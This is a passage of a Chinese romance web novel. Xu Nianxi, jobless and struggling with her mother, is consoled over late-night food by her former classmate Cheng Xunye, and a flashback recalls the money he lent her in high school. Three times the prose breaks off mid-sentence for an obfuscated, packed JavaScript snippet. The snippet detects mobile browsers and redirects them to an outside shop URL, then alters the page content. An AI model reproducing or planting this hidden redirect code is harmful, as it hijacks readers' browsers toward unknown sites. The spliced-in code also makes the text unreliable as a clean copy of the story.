程洵也半张脸隐在窗后,只看到他长而密的眼睫往下垂,打出小半片阴影。他沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207251|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默了一小会儿,才说出口,“我们…加个微信吧。” 徐念溪眼眸睁大了点:“你要加我?” 她没想到,他会说这样一句话。 这会儿程洵也也不犹豫了,很干脆点头,“对。大家都加了。” 为了婚礼上方便联系,徐念溪今天确实加了很多人。 而且。 虽然她和程洵也并不相熟。 在高中时,最相近的距离也只是,开学时他们短暂的同桌过两个星期而已。 但是人都是有趋光性的。 尽管加上程洵也,他们也注定是躺列的关系。但是偶尔能通过他的朋友圈看到他的世界,也是好的。 这样想着,徐念溪点开微信二维码,“好的。那你扫下我。” “滴”一声通过后,能看到程洵也的微信号,很大张旗鼓的:TOP-chengxunye。 头像是个Q版简笔画,一个穿着披风的小人举着把小剑,往前劈。 很有他个人的风格。 徐念溪扶了一把不由自主往下滑的鲁惟与,关了手机,对程洵也礼貌笑了下,“那我们走了,你开车注意安全。” - 严岸泊举着麦克风,撕心裂肺地唱“死了——都要爱——不爱不痛快——” 他那歌声简直耸人听闻,公孙修竹捂着耳朵求他别唱了,李伟豪上前抢了严岸泊的麦克风让他滚蛋。 严岸泊人退下来了,心里还不满呢:“真是不会欣赏,我唱得那么好听,简直传奇歌手。” 他边说边看一直窝在沙发里看手机的程洵也,“干嘛?自卑啊,不敢去唱?” 程洵也意兴阑珊地瞥他一眼,“你倒是自我认识挺明确的。” “……” 他们在这边说话,蒋鹏文推门进来。 严岸泊第一个发现,跑过去揽他肩膀:“你小子,不陪老婆,跑这里来干嘛?” “娴娴让我来的,说你们难得都在,”蒋鹏文道,“我就来看一眼,马上回去。” 李伟豪不满:“真是有了老婆忘了兄弟啊……” 几个人在那边笑闹,程洵也拿了手机出来,界面上是徐念溪的微信。 她微信号很中规中矩:X1806***390。 微信名倒是很直白:发财。 头像则是一个圆滚滚的财神爷笑呵呵地捧着元宝。 再点进朋友圈:朋友仅展示最近三天的朋友圈。 程洵也“啧”了声,他已经看了她朋友圈好一会儿了,始终是这几个字。 看不出半点别的信息。 他只知道,徐念溪莫名其妙地从南城回来,又莫名其妙地想留在西津。 除此之外,什么都不知道了。 但是这也正常。 毕竟,谁会对一个本来就没有很熟的高中同学,说心里话。 所以他问她,她才会说出那句明显是搪塞的“腻了”。 “洵也,”严岸泊在门口叫他,“过来过来,我们一起拍照发朋友圈,纪念蒋狗最后的单身时光。” 程洵也放了手机,直起身,跟着严岸泊他们傻呵呵地比了个耶。 时间不早了,程洵也拿起外套,和严岸泊他们说了声,跟着早就归心似箭的蒋鹏文走了。 蒋鹏文边快步走边感叹,“之前和娴娴扯证我还没什么感觉。但是今天婚礼一办,我突然有种我真有老婆了,我得对她负责的感觉。以后啊,我可要好好工作,给娴娴一个更好的生活。” 程洵也打断新婚男人的碎碎念,“大半夜的,不要给我吃狗粮啊,撑得慌。” 蒋鹏文笑着锤了他一拳,换了话题,“那你呢?有没有喜欢的女孩子,什么时候能喝到你的喜酒?” “有喜欢的,人家不喜欢我,所以和她说句话都难。”程洵也说得半真半假。 他脸上的神情也淡,让人分不清是胡说还是实话。 “谁不喜欢你啊。你这么大个帅哥放在这儿。”蒋鹏文笑,“对了,娴娴她舍友挺喜欢你的,想要你微信,给吗?” 程洵也扬眉,慢条斯理地回:“她自己没有微信吗,干嘛要我的?” “……” 蒋鹏文被他的发言气笑了,“得。我也不乱点鸳鸯了,您爱喜欢谁喜欢谁去。” 8. 008 给蔡娴娴当完伴娘,喧嚣之后,生活还得继续。 徐念溪用了一晚上把热闹之后莫名涌上来的惆怅落寞重新压回去。 她再筛选了一遍Boss,又和难得有回复的几家公司聊了下。 这次她没有问什么交不交社保,只很简单地沟通了一下情况,定了面试时间。 第二天一早,她直接出发了。 赶过去的时候,徐念溪虽然有心理准备,知道不可能每家公司都是好的。 但是一连去了两个,都是一进去,填张表,连她的简历都没看,就让她去面试了。 面试内容也空泛,都是一些画饼类的侃侃而谈。 她难免有些丧气。 下午第一家公司她没有给予很大的期望,但是出乎意料的,这家公司很正规。 面试官先把她的简历看了好一会儿,又针对她的专业知识提了几个具体的情景操作问题。 徐念溪一一作答了。 面试官点了下头,认可她的专业能力,又犹疑地自言自语:“你离职了三个月,三个月的空白期有些久啊……” “那就先这样吧,等我们的消息。过了的话,我们会在Boss上给你offer。” 从公司出来的时候,正好是下午六点。 西津的黄昏,天空上总有很多火烧云,像打翻了的芒果汁。 正是下班的点,路上车水马龙。 徐念溪上了拥挤的地铁,好像一瞬间从光亮的人间到了紧闭压抑的沙丁鱼罐头里。 鲁惟与打来电话:“面试怎么样?” “面试官觉得我空窗期有点久,”徐念溪道,“他让我回去等消息。” “在职场有gap是不是会死啊,”鲁惟与来气,“都不能让人休息一段时间吗?” 徐念溪从公司离职的时候,会想过找工作不会像之前那么简单。 这几年整个经济大环境都不是很景气,失业的人很多,就业变成一件很困难的事。 但是她也没想到,会这么难。 果然又等了几天,那家公司始终没有任何消息。 这是无声的拒绝。 徐念溪心里清楚。 找了这么久还是一无所获。 那天晚上,徐念溪睁着眼睛又一夜未眠。 凌晨的时候,万籁俱寂。 她盯着漆黑的天花板,忍不住写了条朋友圈,屏蔽了很多人,才敢发出去。 徐念溪:找工作真难,丧气脸。 她原本准备立马就删的,她无意让任何人知道她的窘境。 却没想到忘了屏蔽学姐刘妍,更没想到她会发来消息。 刘妍是西津人,也是南大毕业的:念溪,你是不是在找工作? 徐念溪:是的,学姐。 刘妍:你要不来我们公司面试一下?我们公司虽然没专攻翻译,但是偶尔还有些翻译单的。以你的水平,这些单子对你来说,毫无压力。 简直是峰回路转,徐念溪那一瞬间,好像看见了光亮。 谢过学姐后,便定了面试时间。 徐念溪那天晚上难得睡了一个比较平稳的觉。 她挺了解自己的。 她从来不是那种有强大心脏的人。 她需要很多底气。 工作、钱、房子等等一切物质的、实打实的东西,才能让她有安全感。 睡前徐念溪甚至还有心情,久违地点进朋友圈。 也没看别人的,只看了程洵也的。 她还是那个她,会因为朋友圈里的人个个都光鲜亮丽,个个都未来可期,而整宿睡不觉。 程洵也的朋友圈没有设置多少天可见。 一直可以追溯到很久之前。 他发的频率其实不算多,多是风景照,夕阳、天空、晚霞,偶尔会掺杂着几张自拍。 就比如最近的,他发了张蒋鹏文、严岸泊他们的合照,应该是在KTV里。 他站在最旁边,没太站直,也比身旁的人高出不少。 别人都傻兮兮地笑出一口牙比耶,他单手插兜,只勾了下唇角,抬着下巴看镜头的模样酷酷的。 严岸泊留言:你说实话,我是不是我们几个里面长得最帅的? 程洵也回:你是长得最拟人的。 严岸泊:我该谢谢你,没说我长得拟物。 徐念溪被他们的对话逗笑,点了赞。 再往前翻,还有他十八岁生日纪录片。 他家人为他做了蛋糕,唱了生日歌。 他妈妈给他准备的生日礼物是架子鼓,她边看着他拆,边警告他睡觉时间不准扰民,否则她一定不会轻饶他。 视频里,所有人都在笑。 包括程洵也。 只是他没有像他家人一样,笑出八颗牙齿。 而是抬着下巴,拽拽地站在C位,看着不情不愿的,但细看才能发现他眼底有藏不住的笑意。 徐念溪没看了,摁熄手机。 他好像和她,身处在不同世界。 一面阳光灿烂,有金色过去和光明未来。 一面乌云密布,良久才有一个晴天。 她并不嫉妒他拥有的种种。 因为他们本就是不一样的人,嫉妒无用。 但有些时候,比如现在,凌晨三四点的夜里,她依旧会控制不住地觉得羡慕。 也不多。 一点点。 可确实存在。 她羡慕着,程洵也身上的一切。 - 面试的时间定得很早,徐念溪起来后,给自己画了一个淡妆,出了门。 这家公司确实如学姐说的一样,专门和国内工厂对接的,但偶尔还是会涉及到和国外业务沟通。 以徐念溪的水平来说,处理这些确实绰绰有余。 面试很顺利,期间老板甚至直白地频频点头,表示对她的认可。 等她从办公室出来,学姐端着杯咖啡笑:“我刚刚问了老板,他对你很满意,等着拿offer入职吧。” 徐念溪心里仿佛有块大石松了下去,忍不住笑了下,“谢谢学姐。” …… 可是一连好几天,面试的那家公司一直毫无动静。 王君兰经常问她,工作怎么样了。 徐念溪每每回以沉默。 许是从她的表现中看出端倪,王君兰对她的态度更差。 时不时会说起,徐依宁怎么怎么样,她对自己真是失望。当初就不应该辞职现在后悔了吧。别人问她女儿怎么回来了,她都不好意思开口…… 等等。 有时候,徐念溪能清楚地感觉到,家对她而言,不是庇护所,而是消耗。 消耗着她本就没有多少的能量。 自己在南城时,自己便是王君兰嘴里的,可以拿来炫耀的在南城工作的厉害女儿。 可是自己回来了,便成了扶不上墙的烂泥瓦砾。 有时候晚上睡不着的夜晚,徐念溪会情不自禁地想,王君兰到底爱她吗。 王君兰好像爱她,生病的时候,她会彻夜难眠地照顾她。 但等她睁开眼,王君兰的第一句话永远是,谁叫你穿这么少的衣服,病了活该。 王君兰也会放学的时候接她。 但等她坐上电动车,她永远会抱怨,说她读个书还得几个人伺候。 王君兰会给她买好看的衣服。 但是结账的时候,她永远不开心,拉着脸说你又花了多少钱,一路上她们都沉默不语,愧疚心能把徐念溪溺毙。 又是好几晚的失眠。 徐念溪看着已经跌破五万的余额宝存款久久没敢眨眼。 终于忍不住问了学姐:学姐,在吗?方便问一下面试怎么样了吗? 学姐很晚才回,那会儿已经是晚上七八点了:你有空吗?出来说吧。 徐念溪应了,收拾好自己,便出了卧室。 王君兰正在客厅沙发上躺着看短视频。 看到她出来,没说一句话。 她们之间,要么王君兰不断地输出。 要么是彼此都沉默。 约在一家咖啡店。 刘妍已经点好咖啡,冲着她招手。 徐念溪坐下:“学姐,不好意思。来晚了。” “没有,是我早到了。” 徐念溪拿咖啡暖了暖手,几次想开口,但最先开口的却是刘妍。 刘妍神色抱歉,“念溪,我问了我们老板,他说先不招人了。” 徐念溪心里其实已经料想到是这个结果了,但是她的话仍然像个重物压下来,打碎了她最后一点希望。 “我很抱歉。”刘妍道,“我也没想到会这样。” 徐念溪深呼吸口气,慢慢道,“学姐,这不怪你。” 又朝她努力地笑了下。 刘妍看徐念溪,她可能自己都不知道,她的笑容有多难看。 大学时自己和徐念溪都是翻译社团的,徐念溪刚进社团的时候,就展现出不俗的英语功底。 她话不多,但交代给她的每件事,她都完成得很好。 刘妍想起老板的交代,终究咬了咬牙,说了实话:“念溪,你毕业后是在译易达工作,然后三个月前才从译易达离职?” 徐念溪顿了下,“是的。” 刘妍接着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207252|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说了什么,但是徐念溪有些听不见了。 事实上,从学姐说出译易达这三个字之后,她就知道为什么原本板上钉钉的工作会变成这个样子。 译易达在行内很有名,她那件事闹得不大却也不小,在南城该知道的人都知道了。 她天真地以为在西津会没事的,她还能从事翻译工作。 可还是这样,一切没有改变。 哪怕面试得好好的,或者已经拿到offer了,但转眼之间,又会得到面试公司的拒绝。 从译易达离职后的那三个月里,她无数次经历了这种事情。 “对不起啊,念溪。有这个事在,你从事别的职业比较好……” 刘妍以这句话收尾。 可能成年人最后的体面就是只崩溃给自己看吧。 徐念溪对她笑了下,嗓音轻轻的,“谢谢学姐,我知道了。” 刘妍走后,徐念溪慢吞吞地眨了下眼。 她坐的地方靠里侧,周围没别的人。 她慢慢地趴在桌子上,深呼吸几次。 一次。 两次。 …… 五次。 她呼吸不下去了,因为能清楚地感受到轻微的哽咽从嗓子里溢出来。 徐念溪不知道为什么有时候,生活会这么难。 难得她有些不知道该往哪里走,东奔西撞,处处都是死胡同。 难得她也不知道,该用什么东西安慰自己再坚持一下。 - 程洵也答应了程沓漫给她带喜欢吃的巧克力蛋糕。 他从公司里出来的时候,天色已经不早了。 天太冷,寒风凛冽,行人都没有几个。 整条街也就程沓漫点名要吃的巧克力蛋糕点店还开着,光线在幽黑的天色里橙暖,像火柴的外圈,静静地弥散开。 他走近,竟然不是家蛋糕店,而是家咖啡店。 程洵也拍了店铺照片问程沓漫:小鬼,是这家买一度咖啡店吗? 估计程慕池在看她的儿童手表,回得很快:对。 程洵也:行,等着。 程慕池帮程沓漫发过来个兔子点头表情包。 程洵也找了找,发过去个新的点头表情包。 对面立马保存了,又给他发过来。 两个点头在屏幕上看着傻兮兮的。 程洵也哼笑了声,关了手机,“爱偷表情包的父女俩。” 进了店,点了巧克力蛋糕。 时间已经很晚,马上到了店铺打样的点。 店员把打包好的巧克力蛋糕,递给程洵也。 见他确认无误,便收拾东西,准备关店。 却没想到,一转身就看到最角落那块区域,还有个客人脸埋在胳膊里,趴在桌子上。 似乎是睡着了。 “客人,醒醒。”徐念溪听到有人说,“不好意思,我们马上要打烊了。” 徐念溪深呼吸一口气,站起身来,拿起包,“不好意思,我马上就走。” 她低着头,还没走两步,有人叫她名字,语气带着点怀疑。 “徐念溪?” 徐念溪往声音来源处看去。 对上一张这段日子里,她挺眼熟的脸。 ——程洵也。 不知为何他也在这儿。 也不知为何,会看到这一幕。 徐念溪下意识别开脸,不让他看到狼狈的自己,匆匆应了声,又补了句:“不早了,我先走了。” 只是她没走两步,手腕被一只大手握住。 她被迫停在原地,徐念溪慢慢深呼吸口气,像把隐形的盔甲重新穿回自己身上。然后顺着手腕,往上看。 对上程洵也的眼眸。 这么一会儿功夫,她刚刚的闪躲已经不见了,除了尚且还通红的眼眶,看不出任何失态。 她问:“有什么事吗?” 声音轻轻的,像只是单纯的询问。 她估计哭多了,所以没听出来,她声音还带了点鼻音。 程洵也放开手,“没事,只是叫叫你。” 徐念溪便笑了下:“没事的话,我先走了。” 又礼貌补了句:“有空的话,我们一起吃饭。” 可能是她鼻尖还红。 可能是橙色灯光落在她身上,让她整个人明明语言拒人于千里之外。 可是神情却好像在说,好想有盏灯火能为她点亮,哪怕一瞬都好。 那个瞬间,就算程洵也知道那个人能点亮她的人不是自己,还是鬼使神差地开口。 “隔日不如撞日。你吃饭没?没吃的话,我们现在去。” 9. 009 徐念溪也不知道自己怎么就稀里糊涂地答应了。 她坐在大排档里,厚厚的塑料门帘隔绝了冬天的寒风。 西津是个夜宵文化挺盛行的城市,徐念溪看了一圈热热闹闹的大排档。 有和朋友拼酒的,挽起袖子在比划;有一家人点了一桌的烧烤,边说着家常边给吃得满脸油的小孩擦嘴…… 好像很久,她没有体会这种氛围了。 很吵,但是让哪怕浑身风雪的她,也跟着温暖了点。 “暖暖手。” 徐念溪回神,接过程洵也递过来的水杯,“谢谢。” “有什么想吃的吗?” 徐念溪看着一圈菜单,点了自己平日里会吃的那些。 程洵也又加了份海鲜粥。 等餐的功夫,徐念溪放下渐渐凉透的水杯,打破他们之间的安静,率先开口:“真没想到,你也会来大排档。” 记忆中,程洵也高中那会儿,家境就很好。 更别说,现在重逢以后的种种。 他家的楼、大几百万的车…… 种种都是有钱人的世界。 和大排档完全不相关。 程洵也烫完塑料碗,顺手放在徐念溪跟前,“你没想到的多得是。” “谢谢,”徐念溪点头,“确实。高中那会儿,我也没想到,你会真的借我钱,还是那么大金额。” 她说的是他帮她的那次。 高二时,她是英语课代表,代英语老师收集全班的课外辅导教程费。 每个人28.9,班上有65个人。 收集在一起快一千九。 徐念溪明明放得很好的,却没想到再看钱包,所有的纸币都不翼而飞。 长大后,徐念溪才知道。 有时候为了确认安全,反复看钱包,真的容易反过来把钱弄不见。 心态越平稳才越容易让一切顺利完成。 可惜那会儿的她不知道。 烧烤上来了一批,程洵也把不辣的递给她,“还不是你那时哭得太惨了,我那会儿真以为,我一球把你砸出个好歹。” 徐念溪被他说得有些尴尬。 她虽然已经不记得自己当时怎么因为这丢失的一千九而嚎啕大哭。 但是她还记得那种,天都塌下来的感觉。 想来,那必定是哭得很惨,才让程洵也一直记到了现在。 徐念溪轻咳一声,低下头掩饰性地吃烧烤,刚咬一口,动作一顿。 “怎么样,好吃吧?”程洵也问。 确实好吃,入味却不油咸,只觉得焦香,徐念溪诚实点头。 这时海鲜粥又上来了,老板亲自端上来的,她是个富态的中年女性,看见程洵也,说他好久没来了。 又看对面的徐念溪,先是夸小姑娘长得真好看,又说天冷了,她穿得少,以后记得多穿点。 好奇怪,徐念溪莫名地在这个冬季,因为老板的随口一句,而觉得鼻尖一酸,她匆匆低下头,喝了一口海鲜粥。 海鲜粥不愧是程洵也特意要加的,很家常的味道,但烧得滚烫,喝上一口好像整个人都暖过来了。 快吃完的时候,有人打电话来麻烦程洵也移下车,他走后,徐念溪起身去结账。 这会儿人都走得差不多了,老板正挨个桌核对账单。 见到徐念溪问,老板摆手,“哎,你们那桌可不兴结账。程洵也那孩子是我们店的常客,充了会员,直接扣就行了。” 拉开塑料门帘,她出了大排档,寒风又重新刮到身上。 徐念溪没等多久,移完车的程洵也回来了。 徐念溪把账单递给他,“老板说你是会员,不需要结账。我把钱转给了你微信,记得查收一下。” 她对着程洵也笑了下,“谢谢你带我来这里。” 她好久没有吃到这么温暖的东西了。 也好久没被长辈一样的母亲关心过了。 程洵也对她的感谢接收良好,挺不客气地表示自我认同,“那当然,我推荐的东西当然没错。” 徐念溪看着他的五官,他好像永远有意气风发的阳光脸。 让她只是看着,都忍不住笑了下。 时间已经不早了,徐念溪道:“那我就先走了。” 她家小区离大排档不远,只几个街道。 只是不知道是晚上风雪太寒了,还是别的原因,她刚走几步,就感觉身上的暖意渐渐褪去。 这种是很神奇的感受,她能明显感觉到身体慢慢变凉的整个过程。 先从脚,再到手,再到脸颊,最后浑身都凉,好像没有暖过一样。 她正体会着这种变化,身后的程洵也突然叫她,“徐念溪。” 徐念溪以为他还有什么事,回头:“怎么了?” 远远的,就看见程洵也朝她走来。 他腿长,几步走到她跟前。 人也高,她得抬起下巴,才能看到他。 路灯洒下来,落在他的肩膀上。 借着灯光,能看到他的眸色不是黑的,相反微微有点琥珀色,印着一点路灯的橙光,也印着一点正仰头看他的自己。 很小一个。 “这个给你。”他说着,边把什么东西被放在她的手心里。 徐念溪低头,是一杯热奶茶,温热感慢慢地浸透她的指尖。 “这……” 她话还没说出口,程洵也像是知道她会说什么:“买一送一的,这杯就是那个多的一。” 他这么说,也就打消徐念溪的顾虑:“这样。那我却之不恭了。” 程洵也催她:“试下,不知道适不适合你的口味。” 徐念溪喝了口,是红豆奶茶,蜜豆在嘴里爆开,甜甜的热热的。她对着程洵也笑了下,“适合的,很好喝。” 程洵也“嗯”了声,脸上多了点笑意,说自己果然很厉害。 臭屁得紧。 徐念溪点头表示同意他确实很厉害,等她点完头。 气氛慢慢安静下来,两个人都没说话。 徐念溪垂下眼,知道是到了该说再见的时候了。 她和程洵也能有今天的相处已经是她想不到的。 静默是由程洵也打破的,但他出乎意料的,不是说的再见,而是说的别的。 声音在这个夜晚显得微微有些紧绷,像轻微作响的霜冻。 他说:“要是有什么事,可以给我发消息。我微信经常在线的。” 所以,不要在深冬的夜晚,一个人躲在咖啡店里偷偷哭泣。 这话的意思…… 如果她没理解错,是他可以给她提供帮助。 徐念溪愣了好半晌,才慢慢点头,“我知道了。谢谢。” 他们见面以来,她对他说了好几次谢谢了。 次数多得她自己都有点数不清了,但这是她心里最真挚的想法。 不论是现在,还是高中那会儿,她都很感谢他。 只有他这样的人,才愿意对一个不算熟悉的高中同学,说出这样一句话。 - 只有几个街道的距离,可是很奇怪的,那杯奶茶在如此寒风里,一直到她家门口,都还有余温。 可能是因为那杯尚且温热的奶茶,徐念溪那晚久违地睡了一个比较好的觉。 还梦到了高中时的种种。 丢失一千九,对那时的她来说,是件天大的事。 徐念溪在可能会丢的地方找了又找。 一次又一次思考是不是掉在去食堂的路上了,还是教室里。 可是找了好久,都没有。 从刚开始的恐慌但隐隐还心存希冀,到后面的心如死灰。 她的心情简直像坐了一趟赴死的过山车。 徐念溪不敢和任何人说,更不敢打电话告诉王君兰,自己把钱弄掉了,问怎么办。 毋庸置疑的,她一定会得到王君兰的勃然大怒。 王君兰生气的样子很吓人,她会当着无数人面,说自己成事不足败事有余,说一千九她要赚多长时间,自己一下就给弄不见,说自己真是没用,钱都不知道放好等等。 徐念溪不敢想象那时的画面,只能徒劳地在找了无数遍的地方转了一圈又一圈。 那会儿的学校很安静,连鸟雀声都没有,只有她的脚步声和一声一声剧烈的心跳。 保安要锁门了,见她还在,“丫头,你怎么还在,我要关门了,你快出去。” “能不能再让我待会儿,等会我来关门。”徐念溪恳求。 “那怎么行?”保安板起脸,“你快出去,别耽误我工作。” 一旦她出去了,这一千九更不可能找到了。 可是她又不能不让保安关门。 无助、害怕、为难、恐慌…… 一层一层涌上来,像潮水一样压在她身上。 徐念溪吸了下鼻子,眼前的世界拉了一层水雾,她拧紧书包背带,低下头一步一步往校门口走。 每走一步,就有一滴豆大的泪珠砸到地上。 她不知道是不是全世界只有她这么倒霉,也不知道全世界是不是只有她这么无助。 走过操场,耳边忽然传来一道破空声,一颗褐色的球撞到她头上。 不疼。 可是以这个球为起点,原本还能压抑住的委屈一下子倒逼上来。 好像。 全世界都在欺负自己。 好像。 全世界只有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207253|150998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,没有依靠。 徐念溪扁住嘴,想把哽咽声压下去。 可是眼泪这种东西,越压越容易现形。 程洵也跑过来,就看到一个女生用手臂紧紧捂着自己的眼睛,身侧还有他踢过来的球。 他低身捡起球,刚准备走,动作忽地一顿,往那女生身上看过去。 又是一声抽泣声,女生也在同时重重擦了下眼眶。 可她衣服不吸水,眼泪又断了线似的,擦的速度赶不上流的速度。 于是几乎只是几秒之间,她满脸都是泥泞的泪痕,眼睫都成了一簇簇。 程洵也吓了一跳,球砸地上,“不是,你怎么哭了啊……” “是不是我球把你砸到了?我和你道歉,对不起对不起……” 那女生低着头,眼泪还是不住地往下流。 她哭起来没声,但那眼泪像永远不会干涸一样。 看着全世界的委屈都在她身上一样。 程洵也哪里见过这种阵仗,完全不知道怎么办。 他虽然是个差生,但是也仅限于和严岸泊他们一起胡作非为,可从来没弄哭过女孩子。 “我我,我带你去医院,让医生给你看看,”程洵也手足无措,绕着她转圈,“不看好不出来行吗?我有钱的。不是……你能不能先别哭啊……” 听到他说自己有钱,女生才止了哭泣,慢慢抬起头。她看着程洵也,鼻音很重,鼻尖通红,“我不去医院,你可以借钱给我吗?” 徐念溪认得他,是他们班的,叫程洵也。 初中时护送过他们班女孩子回家。 是个很好的人。 只要她不哭,什么都好,程洵也松了口气,连忙点头:“借多少?” “一千九……” “一千九啊,”程洵也下意识重复了一遍,又反应过来,眼眸睁大,“多少?” 徐念溪吸了下鼻子,“一千九。不行吗?” 她说这话的时候,其实没什么语气,但是配上她那一双红得跟兔子一样的眼眸,像某种无声的震慑。 彷佛他只要说一句不行,她就能再哭出来给他看。 本来也是他的错,程洵也咬咬牙,“行,你等我会儿。我回家拿。” 怕她担心他赖账,程洵也把身上的钱都拿出来,塞到了女生手里,“这是定金。你等我啊……” 他说完,抱着球匆匆跑远。 夕阳下,少年远去的身影渡着层橙。 像是破云而出的唯一光亮。 徐念溪捏着他给的钱,出了校门。 保安锁上门,看她还在校门口,“丫头,还不走啊。” “我在等人。” “这么晚了,没人来的。”保安摆摆手,“快回家吧,当心家长着急。” 徐念溪没说话。 可时间一点一点过了,天色染上第一抹漆黑,橙色和黑色融在一起,难分难舍。 路上连行人都没了,他还是没来。 徐念溪低下头,攥紧手上的纸币,慢慢吸了下鼻子,往前走。 一步。 两步。 …… 十步。 她不知道自己为什么会把所有的希望放在一个根本没有多熟的人身上,也不知道怎么回去面对王君兰的苛责,更不知道这一切怎么收场。 她有种无法言语的被抛弃感。 感觉整个世界都容不下她。 就在这时,“哎,你等等,别走啊……” 带着喘息的说话声从身后传来。 徐念溪心脏跳了下,那个瞬间,一切都好像慢下来了。 她缓缓回头,看到漫天火烧云如积雨,倾倒在天地之间。 少年撑着膝盖正喘气,他带着红色的运动发带,五官更显分明。黑发被汗水打湿,颜色更重。他缓了会儿,直起身来,朝她摊开手掌。 一沓揉乱的红色纸币。 “看。没骗你吧,说好的一千九。” 夕阳下,他笑着。 黑发湿漉漉,波光粼粼得很刺眼。他有双很好看的眼,眼皮褶皱深,眼尾往下垂。 笑起来的样子,像整个世界的黑暗都会为他让步。 可能是陡然之间心间大石落地,徐念溪整个人都放松下来了,竟后知后觉想起她刚刚哭的惨样。 尴尬和难为情慢半怕占据大脑,徐念溪没敢继续和他对视,接过钱,闷头说了句,“我会还给你的。” 然后匆匆跑走。 徐念溪记得,那是她和程洵也第一次说那么多话。 也记得,尽管他们是完全不一样的人,但徐念溪依旧因他折射出来的光芒而觉得温暖。 也会觉得,程洵也真的是个很好的人。 10. 010 程沓漫比比划划手语,指责他怎么去了那么久。 她人矮矮小小的,还没他膝盖高,比手语却还能比出个力拔盖世的调调。 很是愤慨。 程洵也瞥了她一眼,“说话。你又不是不会说话。” 程沓漫这才没比了,奶声奶气地先哼了声,又自己把自己哄好了,“哦”了声。 拉着他裤脚,慢慢绕过来。 巧克力蛋糕的盒子包装得挺紧实,程沓漫拿手摸索着,慢慢拆。 见她自己会弄,程洵也没理她了,看自己的微信。 徐念溪除了发过来转账以外,再也没有其他东西。 虽然他有和她说,有事可以找他。 但徐念溪显然没有这个想法。 再见她以来,她好像每次状态都不是很好。 要么脸色憔悴,要么就是在补眠,这次更甚,她哭了。 虽然程洵也还记得高中那会儿徐念溪哭的样子,但事实上徐念溪不是个很爱哭的性子。 因为砸到同学这事,他被连忙赶回来的冯沛艺揪着耳朵,要求他去看看被砸到的同学有没有什么后遗症。 所以,那段时间他都在默默地观察徐念溪,生怕她突然有个好歹。 也就是那段时间,他对她,除了班上那个不想留在西津的女生以外,还有了别的印象。 她不怎么爱说话,但是对人接物又很礼貌,别人问她题目,她会很耐心地给人讲。 被人夸了,她会弧度不太大地笑,有点拘束的样子。 像有点不太能很好处理别人的夸奖。 但她本质却是个很向上的人。 程洵也时常在午间空无一人的教室里看到她一个人做题的身影。 常常一做就是一中午。 除了她以外,班上只有班长瞿尹清有这种耐性。 所以他偶尔能看到他们俩一起讨论题目。 徐念溪能说能写的,看着没被球砸出问题。 程洵也也就松了口气,开始处理他欠冯沛艺钱这事。 虽然几年前程谰开工厂赚了不少,但是冯沛艺一直认为钱不能乱用。 给程洵也的零花钱也就比之前,每天多十块。 程洵也每天存一点,原本是准备给自己换辆山地车的。 但他没想到徐念溪一说就是说一千九,他把自己的存钱罐都砸了,也才九百多点。 只好求助冯沛艺,希望她借一千给自己。 冯沛艺是个有原则的性子,每周都会给程洵也固定金额的零花钱,怎么用都随他,她不会干预。 但一旦超过了,哪怕程洵也朝她借十块钱,她都会盯着程洵也还。 更别说,是这次的一千了。 一千也不是个小数目,程洵也绞劲脑汁想怎么在短时间内凑齐。 严岸泊也不敢借程洵也钱,他妈和冯沛艺关系好得可以穿一条裤子。 冯沛艺本就因为程洵也踢球砸到人而生气。 他再掺和进去,立马变成炮灰。 公孙修竹啃了口包子,肉乎乎的脸看着比包子还要白胖,“你妈把你后路都堵死了,不让借,又让你一个月内还。咋可能,除非你能一个月内自己赚到一千块。” 李伟豪幸灾乐祸,从公孙修竹桌兜里掏出一包辣条:“谁叫你一脚飞踢,踢到人的。话说,你踢到谁了……” 他话还没说完,一张大黑脸突然从窗外探进来。 突如其来,又虎着脸,吓得公孙修竹噎得直锤胸口,李伟豪咳得惊天动地。 教导主任指着他俩:“你们吃什么?说了要建立三清校园,校内不让吃零食。你们两个现在跟我到办公室来。” 严岸泊没被抓,压着笑意拍沮丧的公孙修竹和李伟豪,那意思让他们一路走好。 谁知教导主任背后长了眼睛似的,回头一瞪眼:“严岸泊,你几班的?谁让你串班的?” 他脸黑得像碳似的,一瞪眼简直像小泥人长了双眼。 吓得严岸泊一溜烟赶紧跑了。 第二节课下了,公孙修竹和李伟豪才回来,一个个沮丧着脸,没等人问,公孙修竹自己就说了:“一个人两千字检讨。” 李伟豪边翻本子边抱怨:“扯什么三清校园,不就是怕我们买了校外的零食,不买校内的了。学校小卖部的东西卖那么贵,一瓶矿泉水卖十块,谁敢买啊……” “就是,”公孙修竹赞同,“谁不知道小卖部是教导主任小姨子开的。这叫什么,尸位荤餐……” 有点文化的李伟豪纠正:“是尸位素餐。” 